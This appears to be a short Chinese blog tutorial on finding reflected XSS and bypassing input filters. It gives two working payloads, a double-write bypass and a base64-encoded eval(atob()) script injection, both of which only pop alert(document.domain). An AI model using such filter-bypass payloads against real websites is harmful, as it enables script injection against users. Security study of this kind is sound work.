0X01 XSS漏洞发现
构造特殊无害字符串,响应中寻找字符串。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/3a537a23b56dc9d4e6105585c95630ba.png#pic_center)
0X02 绕过思考
1、寻找过滤内容
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/e26d38edd8eb2de2505c46ee2daf20eb.png#pic_center)
2、思考绕过策略:
0X03 双写绕过
Payload:
“> <script>alert(document.dodomainmain);</script>
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/f0a66fe878dd89d6df5cb747da2b67e4.png#pic_center)
0X04 编码绕过
base64转码
Payload:
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/9f66dc1414f31aea9a723a44f480a973.png#pic_center)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/3fd567a9b876421b16f569db77692508.png#pic_center)
----E-----N-----D-----
😄如有问题,请各位师傅斧正,你的支持是我最大的动力。